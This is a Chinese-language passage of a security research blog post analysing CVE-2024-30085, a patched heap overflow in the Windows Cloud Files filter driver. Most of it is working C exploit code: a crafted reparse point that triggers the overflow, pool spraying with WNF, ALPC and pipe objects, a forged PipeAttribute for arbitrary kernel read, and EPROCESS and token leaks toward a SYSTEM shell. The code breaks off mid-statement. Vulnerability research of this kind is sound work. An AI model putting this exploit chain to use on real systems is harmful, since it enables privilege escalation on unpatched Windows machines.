CVE-2024-30085:Windows云文件过滤器驱动堆溢出漏洞分析与利用全解析

本文深入分析了Windows Cloud Files Mini Filter Driver cldflt.sys中存在的堆缓冲区溢出漏洞CVE-2024-30085。文章详细讲解了该漏洞的成因、触发条件以及一个完整的利用链构建过程,包括如何通过精心构造的重解析点触发溢出、利用_WNF_STATE_DATA对象获取内核指针泄漏、结合ALPC句柄表实现任意写,以及通过PipeAttribute对象实现任意读并最终将权限提升至SYSTEM。

全部圣诞节愿望:一个CVE-2024-30085漏洞利用程序 | STAR 实验室

TLDR

CVE-2024-30085是一个影响Windows云文件迷你过滤器驱动程序cldflt.sys的基于堆的缓冲区溢出漏洞。通过构造一个自定义的重解析点,可以触发缓冲区溢出,从而破坏一个相邻的_WNF_STATE_DATA对象。被破坏的_WNF_STATE_DATA对象可用于从ALPC句柄表对象泄漏内核指针。然后,第二次缓冲区溢出被用来破坏另一个_WNF_STATE_DATA对象,进而破坏一个相邻的PipeAttribute对象。通过在用户空间伪造一个PipeAttribute对象,我们能够泄漏令牌地址并覆盖权限,从而将权限提升到NT AUTHORITY\SYSTEM

目录

介绍 cldflt.sys

cldflt.sys是Windows云文件迷你过滤器驱动程序,它允许用户在远程服务器和本地客户端之间管理和同步文件。cldflt.sys通过创建占位符文件和目录来工作,这些占位符被实现为重解析点。占位符允许文件的真实内容驻留在其他地方,并按需检索(称为"水合"),同时在系统上看起来和行为像普通文件。用户可以通过云文件API创建和管理占位符。

漏洞分析和补丁

CVE-2024-30085是由SSD Secure Disclosure的Alex Birnberg以及Theori的Gwangun Jung和Junoh Lee发现的基于堆的缓冲区溢出漏洞。对于Windows 10 22H2,此漏洞在KB5039211更新中得到了修复。

查看补丁差异,很明显HsmIBitmapNORMALOpen函数已被修改。

左侧显示的是易受攻击的驱动程序二进制文件,右侧是打过补丁的驱动程序二进制文件。从这里我们可以看到添加了一个额外的代码块cmp r14d, 0x1000。查看未打补丁函数的部分反编译:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {
    Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348);
    if (Dst == 0x0) {
        HsmDbgBreakOnStatus(-0x3fffff66);
        ... // 转到错误路径
    }
    memcpy(Dst, local_70, memcpy_size);
} else {
    iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);
    if (iVar13 == -1) && (memcpy_size == 4) {
        *(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10;
    } else {
        Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); // 分配一个 HsBm 对象
        if (Dst == 0x0) {
            HsmDbgBreakOnStatus(-0x3fffff66);
            ... // 转到错误路径
        }
    }
    memcpy(Dst, local_70, memcpy_size); // 易受攻击的 memcpy,我们控制 local_70 和 memcpy_size!
    ...
}

驱动程序在分页池中分配一个大小为0x1000的HsBm对象,并将大小为memcpy_size的数据复制到分配的缓冲区中。由于用户可以控制复制的数据以及memcpy_size的值,如果memcpy_size大于0x1000,就会发生分页池中的基于堆的缓冲区溢出!

1
2
3
4
if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {
    HsmDbgBreakOnStatus(-0x3fff30fe);
    ... // 转到错误路径
}

为了修补该漏洞,添加了一个检查以确定memcpy_size是否小于或等于0x1000,并且只有在此检查通过时才会调用memcpy

重解析点结构

然而,为了理解如何触发此漏洞,我们必须首先了解cldflt驱动程序用于存储数据的重解析点的结构。

重解析点包含一个重解析标记,用于标识拥有该重解析点的文件系统驱动程序,以及用户定义的数据。在本例中,当我们创建用于利用的文件时,我们将使用IO_REPARSE_TAG_CLOUD_6 (0x9000601a)作为重解析标记。

用户定义的数据具有以下结构:

1
2
3
4
5
6
7
8
typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[1];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

DataBuffer的大小可变,包含由云过滤器驱动程序设置的自定义数据,其格式如下:

1
2
3
4
5
struct _HSM_REPARSE_DATA {
    USHORT Flags;
    USHORT Length;
    HSM_DATA FileData;
} HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;

cldflt.sys创建重解析点时,如果数据大小大于0x100字节,它将使用RtlCompressBufferCOMPRESSION_FORMAT_LZNT1压缩数据。如果不涉及压缩,则Flags设置为0x1;如果使用压缩,则设置为0x8001。Length指的是整个_HSM_REPARSE_DATA结构的大小。FileData采用以下形式:

1
2
3
4
5
6
7
8
9
typedef struct _HSM_DATA
{
    ULONG  Magic;
    ULONG  Crc32;
    ULONG  Length;
    USHORT Flags;
    USHORT NumberOfElements;
    HSM_ELEMENT_INFO ElementInfos[1];
} HSM_DATA, *PHSM_DATA;

对于位图数据,Magic设置为0x70527442(“BtRp”);对于文件数据,设置为0x70526546(“FeRp”)。如果存在CRC32,它将包含在结构中。CRC32是使用RtlComputeCrc32计算的。Length指的是整个_HSM_DATA对象的大小。如果存在CRC32校验和值,Flags将被设置为0x2。一个_HSM_DATA结构可以包含多个元素,其形式如下:

1
2
3
4
5
6
typedef struct _HSM_ELEMENT_INFO
{
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;

元素可以具有以下类型:

1
2
3
4
5
6
#define HSM_ELEMENT_TYPE_NONE           0x00
#define HSM_ELEMENT_TYPE_UINT64         0x06
#define HSM_ELEMENT_TYPE_BYTE           0x07
#define HSM_ELEMENT_TYPE_UINT32         0x0a
#define HSM_ELEMENT_TYPE_BITMAP         0x11
#define HSM_ELEMENT_TYPE_MAX            0x12

Length指的是元素数据的大小,offset是相对于_HSM_DATA结构开始处的偏移量。

触发漏洞

让我们看看触发漏洞所需的代码路径:

1
2
3
4
5
-> HsmFltPostCREATE
    -> HsmiFltPostECPCREATE
        -> HsmpSetupContexts
            -> HsmpCtxCreateStreamContext
                -> HsmIBitmapNORMALOpen

通过打开包含cldflt重解析数据的文件,我们能够到达HsmpCtxCreateStreamContext。但是,为了到达HsmIBitmapNORMALOpen来触发易受攻击的memcpy,我们必须通过一些与FeRp对象及其嵌套的BtRp对象相关的检查。

当到达HsmpCtxCreateStreamContext时,它将调用HsmpRpValidateBuffer,该函数将对重解析数据执行检查。它首先检查_HSM_DATA对象的长度和幻数,然后计算其CRC32。接着检查元素数量,确保其小于0xa,这是FeRp对象的最大元素数量。一旦初始检查通过,该函数会遍历所有元素,以确保元素偏移量和长度的总和不超出数据对象的长度。

完成之后,对每个元素执行检查,通常包括以下内容:

  1. 检查元素类型是否在允许的类型范围内(即小于HSM_ELEMENT_TYPE_MAX,即0x12)
  2. 检查元素偏移量
  3. 检查元素大小

在这种情况下,FeRp对象的元素必须满足以下条件:

  • 元素0必须是BYTE类型(0x07)
  • 元素1必须是UINT32类型(0x0a)
  • 元素2必须是UINT64类型(0x06)
  • 元素4必须是BITMAP类型(0x11)

然后调用HsmpBitmapIsReparseBufferSupported来对嵌套的BtRp对象执行检查。执行与FeRp对象类似的初始检查,但不包括CRC32计算。BtRp对象允许的最大元素数量为0x5。元素必须满足以下条件:

  • 元素0必须是BYTE类型(0x07)
  • 元素1必须是BYTE类型(0x07)
  • 元素2必须是BYTE类型(0x07)

一旦HsmpBitmapIsReparseBufferSupported完成,它返回到HsmpRpValidateBuffer,该函数返回到HsmpCtxCreateStreamContext,最后调用HsmIBitmapNORMALOpenHsmIBitmapNORMALOpen也对BtRp对象的元素进行检查:

  • 元素1必须是BYTE类型(0x07),并且必须具有值0x1
  • 元素2必须是BYTE类型(0x07)
  • 元素3必须是UINT64类型(0x06)
  • 元素4必须是BITMAP类型(0x11)

一旦满足所有这些条件,我们最终将到达易受攻击的memcpy

为了触发漏洞,我们首先必须使用云过滤器API注册一个同步根:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };
    CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);
    CfSyncRegistration.ProviderName = L"FFE4";
    CfSyncRegistration.ProviderVersion = L"1.0";
    CfSyncRegistration.ProviderId = { 0xf4d808a4, 0xa493, 0x4703, { 0xa8, 0xb8, 0xe2, 0x6a, 0x7, 0x7a, 0xd7, 0x3b } };

    CF_SYNC_POLICIES CfSyncPolicies = { 0 };
    CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);
    CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;
    CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (!SUCCEEDED(hRet)) {
        CfUnregisterSyncRoot(SyncRoot);
        cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] CfRegisterSyncRoot success: 0x%lx\n", hRet);

然后我们将在同步根目录中创建文件:

1
2
3
4
5
6
7
8
    HANDLE hFile1;
    CString FullFileName1 = L"c:\\windows\\temp\\test";
    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile1 == INVALID_HANDLE_VALUE) {
        cout << "Open file failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] Created exploit file 1: %d\n", hFile1);

最后,我们将使用FSCTL_SET_REPARSE_POINT_EX设置重解析点数据。

1
2
3
4
5
6
    hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL, 0, NULL, NULL);
    if (hBool == 0) {
        cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] FSCTL_SET_REPARSE_POINT_EX succeeded\n");

要击中易受攻击的代码路径,我们只需要重新打开文件:

1
2
3
4
5
6
7
8
    printf("[+] Opening file 1 to trigger vulnerability\n");
    hFile1 = 0;
    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile1 == INVALID_HANDLE_VALUE) {
        cout << "Open file failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] File 1 handle: %d\n", hFile1);

一旦发生溢出,机器就会崩溃!

利用概述

目前,我们在分页池中有一个溢出,影响一个大小为0x1000的对象。为了提升权限,我们需要一个内核指针泄漏和任意写的能力。只要我们能够控制内存布局,使机器不崩溃,就有可能多次触发此漏洞。因此,我们将触发这个漏洞两次——一次是为了获取内核泄漏并获得任意写原语,第二次是为了获得任意读,从而获得令牌地址。

以下是利用计划:

  1. 创建利用文件1并设置大小为0x1010的自定义重解析点数据
  2. 喷洒填充用的_WNF_STATE_DATA
  3. 喷洒第一组_WNF_STATE_DATA对象
  4. 通过释放每隔一个的_WNF_STATE_DATA对象来打孔
  5. 第一次触发漏洞以回收其中一个孔——这会破坏_WNF_STATE_DATA对象,给我们越界读和写的能力
  6. 喷洒ALPC句柄表以回收其余的孔
  7. 通过从第一个被破坏的_WNF_STATE_DATA对象读取来泄漏内核指针
  8. 创建利用文件2并设置大小为0x1010的自定义重解析点数据
  9. 喷洒第二组填充用的_WNF_STATE_DATA
  10. 通过释放每隔一个的_WNF_STATE_DATA对象来打孔
  11. 第二次触发漏洞以回收其中一个孔
  12. 喷洒PipeAttribute以回收其余的孔
  13. 使用第二个被破坏的_WNF_STATE_DATA对象来破坏PipeAttribute对象,使其指向用户空间中的伪造对象——这给我们任意读的能力
  14. 使用被破坏的PipeAttribute对象获取令牌地址
  15. 使用第一个被破坏的_WNF_STATE_DATA对象来破坏ALPC句柄表,以给我们任意写的能力
  16. 覆盖令牌权限以获得完全权限!
  17. 获取winlogon进程的句柄
  18. 弹出一个NT AUTHORITY\SYSTEM shell!

获取内核指针泄漏

我们将使用两个内核对象来获取内核指针泄漏:_WNF_STATE_DATA_ALPC_HANDLE_TABLE

首先让我们看看_WNF_STATE_DATA

1
2
3
4
5
6
struct _WNF_STATE_DATA {
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
};

Windows通知机制(WNF)是一个未公开记录的内核组件,用于在系统内发送通知。用于发送通知的数据存储在_WNF_STATE_DATA对象中,该对象在分页池中分配,由一个大小为0x10的头和紧随其后的数据组成。允许的最大DataSize为0x1000,但这对我们来说不是问题,因为我们正在处理大小为0x1000的对象(使用DataSize为0xff0将意味着分配的WNF对象大小为0x1000)。

要准备_WNF_STATE_DATA喷洒,我们可以执行以下操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    #define NUM_WNFSTATEDATA 0x450
    #define WNF_MAXBUFSIZE 0x1000
    PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
    WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };
    PSECURITY_DESCRIPTOR pSD = nullptr;
    NTSTATUS state = 0;
    char StateData[0x1000];

    printf("[+] Prepare _WNF_STATE_DATA spray\n");
    memset(StateData, 0x41, sizeof(StateData));

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {
        cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;
        return -1;
    }

    for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
        state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);
        if (state != 0) {
            cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

我们将喷洒第一组_WNF_STATE_DATA

1
2
3
4
5
6
7
8
    printf("[+] Spraying _WNF_STATE_DATA\n");
    for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
        state = NtUpdateWnfStateData(&StateNames[i], StateData, (0x1000-0x10), 0, 0, 0, 0);
        if (state != 0) {
            cout << "NtUpdateWnfStateData failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

这将导致分页池中的内存布局如下:

之后,我们将通过释放每隔一个对象来打孔:

1
2
3
4
5
6
7
8
    printf("[+] Poking holes by freeing every alternate WNF object\n");
    for (int i = 0; i < NUM_WNFSTATEDATA; i = i + 2) {
        NtDeleteWnfStateData(&StateNames[i], NULL);
        state = NtDeleteWnfStateName(&StateNames[i]);
        if (state != 0) {
            return -1;
        }
    }

通过破坏_WNF_STATE_DATA结构的DataSize字段,可以利用_WNF_STATE_DATA对象实现越界读和写。在我们的案例中,通过使用堆溢出将DataSize从0xff0更改为0xff8,我们能够获得8字节的OOB读/写。

我们现在将打开利用文件1来触发漏洞,这会将我们的目标对象分配到一个孔中,并溢出到相邻的_WNF_STATE_DATA对象中。

所采取的代码路径导致我们的目标对象被释放,但这无关紧要,因为_WNF_STATE_DATA对象的破坏已经发生。尽管如此,这就是释放后内存的样子:

现在让我们看看高级本地过程调用(ALPC)。ALPC是Windows内核中一个未公开记录的内部进程间通信机制。ShiJie Xu、Jianyang Song和Linshuang Li开发了一种技术,可以通过可变大小的_ALPC_HANDLE_TABLE对象获得任意读和写。

1
2
3
4
5
6
struct _ALPC_HANDLE_TABLE {
    struct _ALPC_HANDLE_ENTRY* Handles;                                     //0x0
    struct _EX_PUSH_LOCK Lock;                                              //0x8
    ULONGLONG TotalHandles;                                                 //0x10
    ULONG Flags;                                                            //0x18
};

当创建ALPC端口时,_ALPC_HANDLE_TABLE对象最初以大小0x80在分页池中分配。每次调用NtAlpcCreateResourceReserve时,都会创建一个_KALPC_RESERVE blob,并调用AlpcAddHandleTableEntry将其地址添加到句柄表中。

1
2
3
4
5
6
7
8
struct _KALPC_RESERVE {
    struct _ALPC_PORT* OwnerPort;                                           //0x0
    struct _ALPC_HANDLE_TABLE* HandleTable;                                 //0x8
    VOID* Handle;                                                           //0x10
    struct _KALPC_MESSAGE* Message;                                         //0x18
    ULONGLONG Size;                                                         //0x20
    LONG Active;                                                            //0x28
};

每次句柄表空间不足时,对象都会被重新分配,其大小会翻倍。这意味着句柄表的大小是可变的,从0x80、0x100、0x200、0x400、0x800、0x1000等开始。因此,通过多次调用NtAlpcCreateResourceReserve,我们能够在分页池中分配一个大小为0x1000的_ALPC_HANDLE_TABLE对象。

要准备ALPC句柄表喷洒,可以使用以下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
CONST WCHAR g_wszPortPrefix[] = L"MyPort";
HANDLE g_hResource = NULL;

BOOL CreateALPCPorts(HANDLE* phPorts, UINT portsCount) {
    ALPC_PORT_ATTRIBUTES serverPortAttr;
    OBJECT_ATTRIBUTES    oaPort;
    HANDLE               hPort;
    NTSTATUS             ntRet;
    UNICODE_STRING       usPortName;
    WCHAR                wszPortName[64];

    for (UINT i = 0; i < portsCount; i++) {
        swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, i);
        RtlInitUnicodeString(&usPortName, wszPortName);
        InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
        RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
        serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
        ntRet = NtAlpcCreatePort(&phPorts[i], &oaPort, &serverPortAttr);
        if (!SUCCEEDED(ntRet))
            return FALSE;
    }
    return TRUE;
}

BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
    HANDLE hPort;
    HANDLE hResource;
    NTSTATUS ntRet;

    for (UINT i = 0; i < portsCount; i++) {
        hPort = phPorts[i];
        for (UINT j = 0; j < reservesCount; j++) {
            ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
            if (!SUCCEEDED(ntRet))
                return FALSE;
            if (g_hResource == NULL) {    // 仅保存第一个
                g_hResource = hResource;
            }
        }
    }
    return TRUE;
}

在main函数中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    #define NUM_ALPC 0x800
    HANDLE ports[NUM_ALPC];
    CONST UINT portsCount = NUM_ALPC;

    printf("[+] Creating ALPC ports\n");
    bRet = CreateALPCPorts(ports, portsCount);
    if (!bRet) {
        printf("[!] CreateALPCPorts failed\n");
        return -1;
    }

要喷洒ALPC句柄表对象:

1
2
3
4
5
6
    printf("[+] Allocating ALPC reserve handles\n");
    bRet = AllocateALPCReserveHandles(ports, portsCount, reservesCount - 1);
    if (!bRet) {
        printf("[!] CreateALPCPorts failed\n");
        return -1;
    }

在调试器上,_ALPC_HANDLE_TABLE对象看起来像这样:

此时,分页池中的内存布局如下:

要定位被破坏的_WNF_STATE_DATA对象并获取内核指针泄漏,我们可以执行以下操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    WNF_CHANGE_STAMP stamp;
    char WNFOutput[0x2000];
    unsigned long WNFOutputSize = 0x1000;
    int CorruptedWNFidx = -1;
    state = 0;
    printf("[+] Finding corrupted WNF_STATE_DATA object\n");
    for (int i = 1; i < NUM_WNFSTATEDATA; i = i + 2) {
        memset(WNFOutput, 0x0, sizeof(WNFOutput));
        WNFOutputSize = 0x1000;
        state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &stamp, WNFOutput, &WNFOutputSize);
        printf("    idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
        if (stamp == 0xcafe) {
            printf("[+] Found corrupted object idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
            CorruptedWNFidx = i;
            ALPC_leak = *((unsigned long long *)(WNFOutput + 0xff0));
            printf("[+] KALPC_RESERVE leak: 0x%llx\n", ALPC_leak);
            break;
        }
    }

任意读

现在我们有了内核指针泄漏,我们想要获得任意读,以便获取令牌地址。为此,可以第二次触发该漏洞来覆盖第二个_WNF_STATE_DATA数据对象。和之前一样,我们将喷洒_WNF_STATE_DATA,通过释放每隔一个对象来打孔,然后触发漏洞以引起溢出并破坏相邻的_WNF_STATE_DATA对象。但这一次,我们将喷洒PipeAttribute,并使用被破坏的_WNF_STATE_DATA来破坏相邻的PipeAttribute结构。

Corentin Bayet和Paul Fariello在他们的论文*Scoop the Windows 10 pool!*中介绍了PipeAttribute任意读技术。当创建一个管道时,用户可以添加属性,这些属性随后以键值对的形式存储在链表中。PipeAttribute是一个可变大小的结构,在分页池中分配,具有以下形式:

1
2
3
4
5
6
7
struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize;
    char * AttributeValue;
    char data[0];
}

要准备喷洒,必须首先创建管道:

1
2
3
4
5
6
7
8
    printf("[+] Creating pipe objects\n");
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        ret = CreatePipe((PHANDLE)&ReadPipeArr[i], (PHANDLE)&WritePipeArr[i], NULL, 0x0);
        if (ret == 0) {
            cout << "CreatePipe failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

要喷洒PipeAttribute,可以执行以下操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    memset(PipeData, 0x43, 0x20);
    memset(PipeData+0x21, 0x43, 0x40);
    printf("[+] Spraying pipe_attribute\n");
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x11003c, PipeData, (0x1000-0x30), PipeOutput, 0x100);
        if (ret != 0x0) {
            cout << "NtFsControlFile pipe attribute failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

要从PipeAttribute读取,可以调用控制代码为0x110038的NtFsControlFile。这将把大小为AttributeValueSizeAttributeValue返回给用户。请注意,如果用户再次调用控制代码为0x11003c的NtFsControlFile来修改AttributeValue,旧的PipeAttribute结构将被释放,一个新的将取而代之。

1
    ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, PipeName, len, PipeData, 0x1000);

在Windows上,由于向后兼容性,未启用管理程序模式访问预防(SMAP)。因此,内核可以寻址用户空间中的数据。为了实现任意读,我们可以使用被破坏的_WNF_STATE_DATAPipeAttributeLIST_ENTRYFlink指针执行越界写,使其指向用户空间中的伪造PipeAttribute结构。从那里,我们可以设置AttributeValueSizeAttributeValue,从而允许我们从任何内核地址读取。

我们可以在用户空间中设置伪造的PipeAttribute对象,如下所示:

1
2
3
4
5
6
7
    // 设置伪造的用户空间 pipe_attribute 对象
    *(unsigned long long *)(FakePipe) = (unsigned long long)FakePipe2; // Flink
    *(unsigned long long *)(FakePipe + 0x8) =  (unsigned long long)pipe_leak; // Blink
    *(unsigned long long *)(FakePipe + 0x10) = (unsigned long long)FakePipeName; // Attribute name
    *(unsigned long long *)(FakePipe + 0x18) = 0x30; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)ALPC_leak; // Attribute value -- LEAK POINTER
    *(unsigned long long *)(FakePipe + 0x28) = 0x4545454545454545; // Data

然后使用我们的第二个被破坏的_WNF_STATE_DATA对象来覆盖内核内存中相邻PipeAttribute对象的Flink指针:

1
2
3
4
5
6
    // 使用 WNF 对象 1 来覆盖 pipe_attribute 的 flink
    printf("[+] Using WNF object 1 to corrupt pipe_attribute\n");
    memset(StateData, 0x0, sizeof(StateData));
    memset(StateData, 0x47, 0x200); // 只是为了更容易看到对象
    *(unsigned long long *)(StateData + 0xff0) = (unsigned long long)FakePipe;
    state = NtUpdateWnfStateData(&SecondStateNames[CorruptedWNFidx2], StateData, 0xff8, NULL, NULL, 0xbeef, NULL);

现在内存布局如下所示:

我们现在可以执行任意读。我们想要读取的第一个指针是我们之前泄漏的_KALPC_RESERVE指针。通过从_KALPC_RESERVE读取,我们能够获得指向_ALPC_PORT结构的指针:

1
2
3
4
5
6
7
struct _ALPC_PORT
{
    struct _LIST_ENTRY PortListEntry;                                       //0x0
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0x10
    struct _EPROCESS* OwnerProcess;                                         //0x18
    ...
}

执行泄漏:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    printf("[+] Arbitrary read from corrupted pipe_attribute object\n");
    int CorruptedPipeIdx = -1;
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        memset(PipeData, 0x0, sizeof(PipeData));
        ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
        if (ret == 0) {
            printf("[+] Reached fake pipe_attribute in userland\n");
            ALPC_port_leak = *((unsigned long long *)(PipeData));
            ALPC_handle_table = ((unsigned long long *)(PipeData))[1];
            ALPC_message_leak = ((unsigned long long *)(PipeData))[3];
            CorruptedPipeIdx = i;
            printf("[+] ALPC port leak: 0x%llx\n", ALPC_port_leak);
            printf("[+] ALPC handle table leak: 0x%llx\n", ALPC_handle_table);
            printf("[+] ALPC message leak: 0x%llx\n", ALPC_message_leak);
            break;
        }
    }

_ALPC_PORT结构中,我们能够获取EPROCESS的地址。由于ALPC端口属于我们当前的进程,EPROCESS将是我们当前进程的结构。指向令牌的指针位于EPROCESS偏移0x4b8处,我们可以从EPROCESS读取以获取该地址。

执行这些泄漏:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    // 泄漏 EPROCESS
    printf("[+] Leaking data in ALPC_port\n");
    memset(PipeData, 0x0, sizeof(PipeData));
    *(unsigned long long *)(FakePipe + 0x18) = 0x1d8; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(ALPC_port_leak); // Attribute value -- LEAK POINTER
    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
    EPROCESS_leak = ((unsigned long long *)(PipeData))[3];
    printf("[+] EPROCESS leak: 0x%llx\n", EPROCESS_leak);

    // 泄漏令牌
    int pid = GetCurrentProcessId();
    printf("[+] Current PID: 0x%lx\n", pid);
    memset(PipeData, 0x0, sizeof(PipeData));
    *(unsigned long long *)(
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计